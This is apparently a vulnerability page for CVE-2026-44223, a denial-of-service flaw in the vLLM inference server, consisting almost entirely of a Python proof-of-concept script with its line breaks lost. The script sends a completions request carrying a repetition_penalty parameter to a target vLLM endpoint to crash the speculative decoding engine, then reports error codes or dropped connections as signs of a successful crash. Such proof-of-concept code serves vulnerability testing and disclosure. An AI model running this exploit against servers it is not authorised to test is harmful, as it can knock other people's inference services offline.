CVE-2026-44223 vLLM推理引擎拒绝服务漏洞

import requests import json # PoC for CVE-2026-44223 # Target: vLLM server versions < 0.20.0 # Description: This script sends a request with a repetition_penalty parameter # to trigger the tensor shape mismatch bug in the speculative decoding proposer. def check_vulnerability(target_url): headers = {"Content-Type": "application/json"} endpoint = f"{target_url}/v1/completions" # Payload containing the sampling penalty parameter that triggers the crash payload = { "model": "meta-llama/Llama-2-7b-chat-hf", # Example model name "prompt": "Explain this vulnerability.", "max_tokens": 50, # The presence of 'repetition_penalty' triggers the incorrect tensor shape "repetition_penalty": 1.1 } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, headers=headers, data=json.dumps(payload), timeout=10) # If the server crashes, the connection might be reset or return a 500 error if response.status_code == 500 or response.status_code == 502: print("[+] Potential vulnerability triggered! Server returned error code: {}".format(response.status_code)) elif "RuntimeError" in response.text or "Internal Server Error" in response.text: print("[+] Vulnerability likely triggered. RuntimeError detected in response.") else: print("[-] Request completed. Server might be patched or not vulnerable.") print("Response status:", response.status_code) except requests.exceptions.ConnectionError: print("[+] Connection error. The EngineCore process may have crashed (DoS).") except Exception as e: print(f"[-] An unexpected error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8000" check_vulnerability(target)